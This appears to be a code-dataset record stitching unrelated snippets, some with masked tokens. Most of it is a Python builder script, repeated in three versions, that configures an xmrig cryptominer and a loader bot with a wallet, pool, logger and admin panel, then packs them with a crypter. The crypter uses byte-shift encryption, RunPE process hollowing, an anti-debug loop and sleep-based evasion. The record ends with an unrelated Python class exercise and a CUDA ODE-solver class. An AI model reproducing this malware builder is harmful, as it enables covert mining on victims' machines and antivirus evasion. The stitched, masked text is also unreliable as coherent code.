if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
return 0;
}
}
}
}
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {
for (int i = 0; i < 550000; i++)
OutputDebugStringW(L"");
for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {
unsigned char b = rawData[i] + 0x0%n%;
rawData[i] = b;
}
Sleep(((rand() % 5 + 1) + 5) * 1000);
RunPortableExecutable(rawData);
return 0;
} """
txt = txt.replace('%n%', str(key))
w.write(txt)
compileM(os.getcwd() + '\\src\\', 'ConsoleApplication1')
xcopy(os.getcwd() + '\\src\\Release\\Crypter.exe', os.getcwd() +
'\\' + name + '.exe')
key = random.randint(1, 100)
u = sys.argv[1]
w = sys.argv[2]
p = sys.argv[3]
l = sys.argv[4]
a = sys.argv[5]
load_userdata(u, p, w, l, a)
compile(os.getcwd() + '\\Bot\\', 'LoaderBot')
xcopy(os.getcwd() + '\\Bot\\Miner\\bin\\Release\\LoaderBot.exe', 'Bot.exe')
compileR(os.getcwd() + '\\rig\\', 'xmrig')
xcopy(os.getcwd() + '\\rig\\Release\\xmrig.exe', 'out.exe')
crypt('test', key)
os.system('C:\\Python27\\python.exe cv.py')
writeBytes(key)
compileM(os.getcwd() + '\\Miner\\', 'winhost')
xcopy(os.getcwd() + '\\Miner\\Release\\winhost.exe', 'in.exe')
print(os.getcwd() + '\\enc.exe')
subprocess.call(os.getcwd() + '\\enc.exe')
crypt('winhost', key)
os.system('del file.txt')
os.system('del in.exe')
os.system('del out.exe')
os.system('del decr.exe')
os.system('del enc.exe')
os.system('del test.exe')
| import os, sys, time, random, subprocess
def load_userdata(wallet, pool, ww, logger, adminka):
with open('D:\\msys64\\xmrig-master\\src\\ex.cpp', 'r') as f:
file = f.read()
file = file.replace('%u%', wallet)
file = file.replace('%p%', pool)
file = file.replace('%w%', ww)
with open('D:\\msys64\\xmrig-master\\src\\xmrig.cpp', 'w') as w:
w.write(file)
with open(os.getcwd() + '\\Bot\\Miner\\ex.cs', 'r') as f:
file = f.read()
file = file.replace('%l%', logger)
file = file.replace('%a%', adminka)
with open(os.getcwd() + '\\Bot\\Miner\\Program.cs', 'w') as w:
w.write(file)
def writeBytes(key):
with open(os.getcwd() + '\\file.txt', 'r') as f:
file = f.read()
with open(os.getcwd() + '\\Miner\\CryptRunPe\\winhost.cpp', 'w') as w:
w.write(
"""#include <stdafx.h>
#include "process.h"
#include "memrun.h"
using namespace std;
"""
)
with open('ex.txt') as ex:
w.write(file)
exx = ex.read()
w.write(exx)
def compile(path, file):
os.system(
'%windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe "' +
path + file + '.sln" /p:Configuration=Release')
def compileM(path, file):
os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release')
def compileR(path, file):
os.system('msbuild.exe "' + path + file +
'.sln" /p:Configuration=Release /p:Platform="WIN32"')
def xcopy(path, out):
try:
with open(path, 'rb') as f:
file = f.read()
with open(out, 'wb') as w:
w.write(bytearray(file))
except:
pass
def crypt(name, key):
with open('encoder.cpp', 'w') as w:
txt = """
#include <Windows.h>
#include <winternl.h>
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
int main()
{
FILE * file = fopen("in.exe", "rb");
if (file == NULL) return 0;
fseek(file, 0, SEEK_END);
long int size = ftell(file);
fclose(file);
file = fopen("in.exe", "rb");
unsigned char * in = (unsigned char *)malloc(size);
int bytes_read = fread(in, sizeof(unsigned char), size, file);
fclose(file);
for (int i = 0; i < size; i++) {
in[i] = in[i] - 0x0%n%;
}
file = fopen("out.exe", "wb");
int bytes_written = fwrite(in, sizeof(unsigned char), size, file);
fclose(file);
for (int i = 0; i < size; i++) {
in[i] = in[i] + 0x0%n%;
}
file = fopen("decr.exe", "wb");
bytes_written = fwrite(in, sizeof(unsigned char), size, file);
fclose(file);
return 0;
}
"""
txt = txt.replace('%n%', str(key))
w.write(txt)
os.system('g++ -o enc encoder.cpp')
os.system('C:\\Python27\\python.exe cv.py')
with open('file.txt', 'r') as r:
with open(os.getcwd() + '\\src\\crypter\\crypter.cpp', 'w') as w:
txt = """ #include "stdafx.h"
#include "Crypter.h"
#include <windows.h>
#include <winternl.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"ntdll.lib")
""" + r.read() + """ int RunPortableExecutable(void* Image) {
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase;
void* pImageBase;
int count;
char buffer[MAX_PATH];
GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);
char *CurrentFilePath = buffer;
DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {
ZeroMemory(&PI, sizeof(PI));
ZeroMemory(&SI, sizeof(SI));
typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
NtUnmapViewOfSection mNtUnmapViewOfSection;
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
return 0;
}
}
}
}
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {
for (int i = 0; i < 550000; i++)
OutputDebugStringW(L"");
for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {
unsigned char b = rawData[i] + 0x0%n%;
rawData[i] = b;
}
Sleep(((rand() % 5 + 1) + 5) * 1000);
RunPortableExecutable(rawData);
return 0;
} """
txt = txt.replace('%n%', str(key))
w.write(txt)
compileM(os.getcwd() + '\\src\\', 'ConsoleApplication1')
xcopy(os.getcwd() + '\\src\\Release\\Crypter.exe', os.getcwd() +
'\\' + name + '.exe')
key = random.randint(1, 100)
u = sys.argv[1]
w = sys.argv[2]
p = sys.argv[3]
l = sys.argv[4]
a = sys.argv[5]
load_userdata(u, p, w, l, a)
compile(os.getcwd() + '\\Bot\\', 'LoaderBot')
xcopy(os.getcwd() + '\\Bot\\Miner\\bin\\Release\\LoaderBot.exe', 'Bot.exe')
compileR(os.getcwd() + '\\rig\\', 'xmrig')
xcopy(os.getcwd() + '\\rig\\Release\\xmrig.exe', 'out.exe')
crypt('test', key)
os.system('C:\\Python27\\python.exe cv.py')
writeBytes(key)
compileM(os.getcwd() + '\\Miner\\', 'winhost')
xcopy(os.getcwd() + '\\Miner\\Release\\winhost.exe', 'in.exe')
print(os.getcwd() + '\\enc.exe')
subprocess.call(os.getcwd() + '\\enc.exe')
crypt('winhost', key)
os.system('del file.txt')
os.system('del in.exe')
os.system('del out.exe')
os.system('del decr.exe')
os.system('del enc.exe')
os.system('del test.exe')
| import os, sys, time, random, subprocess
def load_userdata(wallet, pool, ww, logger, adminka):
with open("D:\\msys64\\xmrig-master\\src\\ex.cpp", "r") as f:
file = f.read()
file = file.replace("%u%", wallet)
file = file.replace("%p%", pool)
file = file.replace("%w%", ww)
with open("D:\\msys64\\xmrig-master\\src\\xmrig.cpp", "w") as w:
w.write(file)
with open(os.getcwd()+"\\Bot\\Miner\\ex.cs", "r") as f:
file = f.read()
file = file.replace("%l%", logger)
file = file.replace("%a%", adminka)
with open(os.getcwd()+"\\Bot\\Miner\\Program.cs", "w") as w:
w.write(file)
def writeBytes(key):
with open(os.getcwd()+"\\file.txt", "r") as f:
file = f.read()
with open(os.getcwd()+"\\Miner\\CryptRunPe\\winhost.cpp", "w") as w:
w.write("#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n")
with open("ex.txt") as ex:
w.write(file)
exx = ex.read()
w.write(exx)
def compile(path, file):
os.system("%windir%\Microsoft.NET\Framework\\v4.0.30319\msbuild.exe \""+path+file+".sln\" /p:Configuration=Release")
def compileM(path, file):
os.system("msbuild.exe \""+path+file+".sln\" /p:Configuration=Release")
def compileR(path, file):
os.system("msbuild.exe \""+path+file+".sln\" /p:Configuration=Release /p:Platform=\"WIN32\"")
def xcopy(path, out):
try:
with open(path, "rb") as f:
file = f.read()
with open(out, "wb") as w:
w.write(bytearray(file))
except:
pass
def crypt(name, key):
with open('encoder.cpp', 'w') as w:
txt = '\n\
#include <Windows.h>\n\
#include <winternl.h>\n\
#include <iostream>\n\
#include <string>\n\
#include <fstream>\n\
using namespace std;\n\
int main()\n\
{\n\
FILE * file = fopen("in.exe", "rb");\n\
if (file == NULL) return 0;\n\
fseek(file, 0, SEEK_END);\n\
long int size = ftell(file);\n\
fclose(file);\n\
file = fopen("in.exe", "rb");\n\
unsigned char * in = (unsigned char *)malloc(size);\n\
int bytes_read = fread(in, sizeof(unsigned char), size, file);\n\
fclose(file);\n\
for (int i = 0; i < size; i++) {\n\
in[i] = in[i] - 0x0%n%;\n\
}\n\
file = fopen("out.exe", "wb");\n\
int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n\
fclose(file);\n\
for (int i = 0; i < size; i++) {\n\
in[i] = in[i] + 0x0%n%;\n\
}\n\
file = fopen("decr.exe", "wb");\n\
bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n\
fclose(file);\n\
return 0;\n\
}\n\
'
txt = txt.replace("%n%", str(key))
w.write(txt)
os.system("g++ -o enc encoder.cpp")
os.system("C:\Python27\python.exe cv.py")
with open('file.txt', 'r') as r:
with open(os.getcwd()+"\\src\\crypter\\crypter.cpp", "w") as w:
txt = '\
#include "stdafx.h"\n\
#include "Crypter.h"\n\
#include <windows.h>\n\
#include <winternl.h>\n\
#pragma comment(lib,"ws2_32.lib")\n\
#pragma comment(lib,"ntdll.lib")\n\
'+ r.read() + '\
int RunPortableExecutable(void* Image) {\n\
IMAGE_DOS_HEADER* DOSHeader;\n\
IMAGE_NT_HEADERS* NtHeader;\n\
IMAGE_SECTION_HEADER* SectionHeader;\n\
PROCESS_INFORMATION PI;\n\
STARTUPINFOA SI;\n\
CONTEXT* CTX;\n\
DWORD* ImageBase;\n\
void* pImageBase;\n\
int count;\n\
char buffer[MAX_PATH];\n\
GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n\
char *CurrentFilePath = buffer;\n\
DOSHeader = PIMAGE_DOS_HEADER(Image);\n\
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n\
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n\
ZeroMemory(&PI, sizeof(PI));\n\
ZeroMemory(&SI, sizeof(SI));\n\
typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n\
NtUnmapViewOfSection mNtUnmapViewOfSection;\n\
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n\
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n\
CTX->ContextFlags = CONTEXT_FULL;\n\
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n\
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n\
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n\
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n\
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n\
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n\
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n\
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n\
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n\
}\n\
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n\
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n\
SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n\
ResumeThread(PI.hThread);\n\
return 0;\n\
}\n\
}\n\
}\n\
}\n\
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n\
for (int i = 0; i < 550000; i++)\n\
OutputDebugStringW(L"");\n\
for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n\
unsigned char b = rawData[i] + 0x0%n%;\n\
rawData[i] = b;\n\
}\n\
Sleep(((rand() % 5 + 1) + 5) * 1000);\n\
RunPortableExecutable(rawData);\n\
return 0;\n\
}\
'
txt = txt.replace("%n%", str(key))
w.write(txt)
compileM(os.getcwd()+"\\src\\", "ConsoleApplication1")
xcopy(os.getcwd() + "\\src\\Release\\Crypter.exe", os.getcwd()+"\\"+name+".exe")
key = random.randint(1, 100)
u = sys.argv[1]
w = sys.argv[2]
p = sys.argv[3]
l = sys.argv[4]
a = sys.argv[5]
load_userdata(u, p, w, l, a)
compile(os.getcwd()+"\\Bot\\", "LoaderBot")
xcopy(os.getcwd()+"\\Bot\\Miner\\bin\\Release\\LoaderBot.exe", "Bot.exe")
compileR(os.getcwd()+"\\rig\\", "xmrig")
xcopy(os.getcwd()+"\\rig\\Release\\xmrig.exe", "out.exe")
crypt("test", key)
os.system("C:\Python27\python.exe cv.py")
writeBytes(key)
compileM(os.getcwd()+"\\Miner\\", "winhost")
xcopy(os.getcwd()+"\\Miner\\Release\\winhost.exe", "in.exe")
print(os.getcwd()+"\\enc.exe")
subprocess.call(os.getcwd()+"\\enc.exe")
crypt("winhost", key)
os.system("del file.txt")
os.system("del in.exe")
os.system("del out.exe")
os.system("del decr.exe")
os.system("del enc.exe")
os.system("del test.exe")
| [
7,
8,
9,
10,
11
] |
9,939 | babb5ac680c74e19db5c86c2c3323e8285d169ff | class MyClass:
<mask token>
def set_name(self, name):
self.name = name
def get_name(self):
return self.name
def say_hello(self):
self.greet = 'Hello'
def say_hi(self):
print('HI~~~~~')
<mask token>
| class MyClass:
name = 'alice'
def set_name(self, name):
self.name = name
def get_name(self):
return self.name
def say_hello(self):
self.greet = 'Hello'
def say_hi(self):
print('HI~~~~~')
<mask token>
| class MyClass:
name = 'alice'
def set_name(self, name):
self.name = name
def get_name(self):
return self.name
def say_hello(self):
self.greet = 'Hello'
def say_hi(self):
print('HI~~~~~')
<mask token>
print(p1.name)
p1.set_name('bob')
print(p1.name)
print(p2.name)
p1.say_hello()
print(p1.greet)
MyClass.say_hi('gg')
| class MyClass:
name = 'alice'
def set_name(self, name):
self.name = name
def get_name(self):
return self.name
def say_hello(self):
self.greet = 'Hello'
def say_hi(self):
print('HI~~~~~')
p1 = MyClass()
p2 = MyClass()
print(p1.name)
p1.set_name('bob')
print(p1.name)
print(p2.name)
p1.say_hello()
print(p1.greet)
MyClass.say_hi('gg')
| class MyClass:
name = "alice"
def set_name(self, name):
self.name = name
def get_name(self):
return self.name
def say_hello(self):
self.greet = "Hello"
def say_hi(self):
print("HI~~~~~")
p1 = MyClass()
p2 = MyClass()
print(p1.name)
p1.set_name("bob")
print(p1.name)
print(p2.name)
# 인스턴스 멤버를 적용한후에 그 인스턴스 멤버에 접근 할 수 있다
p1.say_hello()
print(p1.greet)
#클래스 메서드를 클래스. 으로 호출 했기 떄문에 self 파라미터를 하나 넘겨 줘야 한다
MyClass.say_hi("gg")
| [
5,
6,
7,
8,
9
] |
9,940 | e9754530bef7614c16cdba0e818c1fa188e2d9a2 | <mask token>
class Lsoda(sim.SimulatorMG):
<mask token>
<mask token>
<mask token>
<mask token>
def _compile(self, step_code):
self._beta = 1
fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],
'cuLsoda_all.cu'), 'r')
_sourceFromFile_ = fc.read()
_isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\n'
_rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,
self._speciesNumber + 9)) + '\n'
_textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\n'
_common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(
1 * 1) + '];\n'
_code_ = (_isize_ + _rsize_ + _textures_ + step_code +
_sourceFromFile_ + _common_block_ + self._lsoda_source_)
if self._dump:
of = open('full_ode_code.cu', 'w')
print >> of, _code_
compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',
options=[], no_extern_c=True, keep=False)
blocks, threads = self._getOptimalGPUParam(compiled.get_function(
'cuLsoda'))
blocks = self._MAXBLOCKSPERDEVICE
_common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(
blocks * threads) + '];\n'
_code_ = (_isize_ + _rsize_ + _textures_ + step_code +
_sourceFromFile_ + _common_block_ + self._lsoda_source_)
if self._dump:
of = open('full_ode_code.cu', 'w')
print >> of, _code_
compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',
options=[], no_extern_c=True, keep=False)
self._param_tex = compiled.get_texref('param_tex')
lsoda_kernel = compiled.get_function('cuLsoda')
return compiled, lsoda_kernel
<mask token>
| <mask token>
class Lsoda(sim.SimulatorMG):
<mask token>
<mask token>
<mask token>
<mask token>
def _compile(self, step_code):
self._beta = 1
fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],
'cuLsoda_all.cu'), 'r')
_sourceFromFile_ = fc.read()
_isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\n'
_rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,
self._speciesNumber + 9)) + '\n'
_textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\n'
_common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(
1 * 1) + '];\n'
_code_ = (_isize_ + _rsize_ + _textures_ + step_code +
_sourceFromFile_ + _common_block_ + self._lsoda_source_)
if self._dump:
of = open('full_ode_code.cu', 'w')
print >> of, _code_
compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',
options=[], no_extern_c=True, keep=False)
blocks, threads = self._getOptimalGPUParam(compiled.get_function(
'cuLsoda'))
blocks = self._MAXBLOCKSPERDEVICE
_common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(
blocks * threads) + '];\n'
_code_ = (_isize_ + _rsize_ + _textures_ + step_code +
_sourceFromFile_ + _common_block_ + self._lsoda_source_)
if self._dump:
of = open('full_ode_code.cu', 'w')
print >> of, _code_
compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',
options=[], no_extern_c=True, keep=False)
self._param_tex = compiled.get_texref('param_tex')
lsoda_kernel = compiled.get_function('cuLsoda')
return compiled, lsoda_kernel
def _run_simulation(self, parameters, init_values, blocks, threads,
in_atol=1e-06, in_rtol=1e-06):
total_threads = threads * blocks
experiments = len(parameters)
neqn = self._speciesNumber
init_common_kernel = self._completeCode.get_function('init_common')
init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))
ret_xt = np.zeros([total_threads, 1, self._resultNumber, self.
_speciesNumber])
ret_istate = np.ones([total_threads], dtype=np.int32)
isize = 20 + self._speciesNumber
rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)
t = np.zeros([total_threads], dtype=np.float64)
jt = np.zeros([total_threads], dtype=np.int32)
neq = np.zeros([total_threads], dtype=np.int32)
itol = np.zeros([total_threads], dtype=np.int32)
iopt = np.zeros([total_threads], dtype=np.int32)
rtol = np.zeros([total_threads], dtype=np.float64)
iout = np.zeros([total_threads], dtype=np.int32)
tout = np.zeros([total_threads], dtype=np.float64)
itask = np.zeros([total_threads], dtype=np.int32)
istate = np.zeros([total_threads], dtype=np.int32)
atol = np.zeros([total_threads], dtype=np.float64)
liw = np.zeros([total_threads], dtype=np.int32)
lrw = np.zeros([total_threads], dtype=np.int32)
iwork = np.zeros([isize * total_threads], dtype=np.int32)
rwork = np.zeros([rsize * total_threads], dtype=np.float64)
y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)
for i in range(total_threads):
neq[i] = neqn
t[i] = 0
itol[i] = 1
itask[i] = 1
istate[i] = 1
iopt[i] = 0
jt[i] = 2
atol[i] = in_atol
rtol[i] = in_rtol
liw[i] = isize
lrw[i] = rsize
try:
for j in range(self._speciesNumber):
y[i * self._speciesNumber + j] = init_values[i][j]
ret_xt[i, 0, 0, j] = init_values[i][j]
except IndexError:
pass
d_t = driver.mem_alloc(t.size * t.dtype.itemsize)
d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)
d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)
d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)
d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)
d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)
d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)
d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)
d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)
d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)
d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)
d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)
d_y = driver.mem_alloc(y.size * y.dtype.itemsize)
d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)
d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)
d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)
driver.memcpy_htod(d_t, t)
driver.memcpy_htod(d_jt, jt)
driver.memcpy_htod(d_neq, neq)
driver.memcpy_htod(d_liw, liw)
driver.memcpy_htod(d_lrw, lrw)
driver.memcpy_htod(d_itol, itol)
driver.memcpy_htod(d_iopt, iopt)
driver.memcpy_htod(d_rtol, rtol)
driver.memcpy_htod(d_iout, iout)
driver.memcpy_htod(d_tout, tout)
driver.memcpy_htod(d_itask, itask)
driver.memcpy_htod(d_istate, istate)
driver.memcpy_htod(d_y, y)
driver.memcpy_htod(d_atol, atol)
driver.memcpy_htod(d_iwork, iwork)
driver.memcpy_htod(d_rwork, rwork)
param = np.zeros((total_threads, self._parameterNumber), dtype=np.
float32)
try:
for i in range(len(parameters)):
for j in range(self._parameterNumber):
param[i][j] = parameters[i][j]
except IndexError:
pass
ary = sim.create_2D_array(param)
sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4,
total_threads)
self._param_tex.set_array(ary)
if self._dt <= 0:
for i in range(self._resultNumber):
for j in range(total_threads):
tout[j] = self._timepoints[i]
driver.memcpy_htod(d_tout, tout)
self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,
d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,
d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),
grid=(blocks, 1))
driver.memcpy_dtoh(t, d_t)
driver.memcpy_dtoh(y, d_y)
driver.memcpy_dtoh(istate, d_istate)
for j in range(total_threads):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]
if istate[j] < 0:
ret_istate[j] = 0
else:
tt = self._timepoints[0]
for i in range(self._resultNumber):
while 1:
next_time = min(tt + self._dt, self._timepoints[i])
for j in range(total_threads):
tout[j] = next_time
driver.memcpy_htod(d_tout, tout)
self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,
d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,
d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),
grid=(blocks, 1))
driver.memcpy_dtoh(t, d_t)
driver.memcpy_dtoh(y, d_y)
driver.memcpy_dtoh(istate, d_istate)
if np.abs(next_time - self._timepoints[i]) < 1e-05:
tt = next_time
break
tt = next_time
for j in range(total_threads):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]
if istate[j] < 0:
ret_istate[j] = 0
for j in range(total_threads):
if ret_istate[j] == 0:
for i in range(self._resultNumber):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = float('NaN')
return ret_xt[0:experiments]
| <mask token>
class Lsoda(sim.SimulatorMG):
_param_tex = None
_step_code = None
_runtimeCompile = True
_lsoda_source_ = """
extern "C"{
#include <stdio.h>
__device__ myFex myfex;
__device__ myJex myjex;
__global__ void init_common(){
int tid = blockDim.x * blockIdx.x + threadIdx.x;
cuLsodaCommonBlockInit( &(common[tid]) );
}
__global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol,
double *rtol, double *atol, int *itask, int *istate, int *iopt,
double *rwork, int *lrw, int *iwork, int *liw, int *jt)
{
int tid = blockDim.x * blockIdx.x + threadIdx.x;
//if(tid==0){
//printf("I am thread time %d %f\\n", tid, t[0] );
//}
dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid,
istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) );
//if(tid==0){
//printf("I am done %d %f\\n", tid, t[0] );
//}
}
}
"""
def _compile(self, step_code):
self._beta = 1
fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],
'cuLsoda_all.cu'), 'r')
_sourceFromFile_ = fc.read()
_isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\n'
_rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,
self._speciesNumber + 9)) + '\n'
_textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\n'
_common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(
1 * 1) + '];\n'
_code_ = (_isize_ + _rsize_ + _textures_ + step_code +
_sourceFromFile_ + _common_block_ + self._lsoda_source_)
if self._dump:
of = open('full_ode_code.cu', 'w')
print >> of, _code_
compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',
options=[], no_extern_c=True, keep=False)
blocks, threads = self._getOptimalGPUParam(compiled.get_function(
'cuLsoda'))
blocks = self._MAXBLOCKSPERDEVICE
_common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(
blocks * threads) + '];\n'
_code_ = (_isize_ + _rsize_ + _textures_ + step_code +
_sourceFromFile_ + _common_block_ + self._lsoda_source_)
if self._dump:
of = open('full_ode_code.cu', 'w')
print >> of, _code_
compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',
options=[], no_extern_c=True, keep=False)
self._param_tex = compiled.get_texref('param_tex')
lsoda_kernel = compiled.get_function('cuLsoda')
return compiled, lsoda_kernel
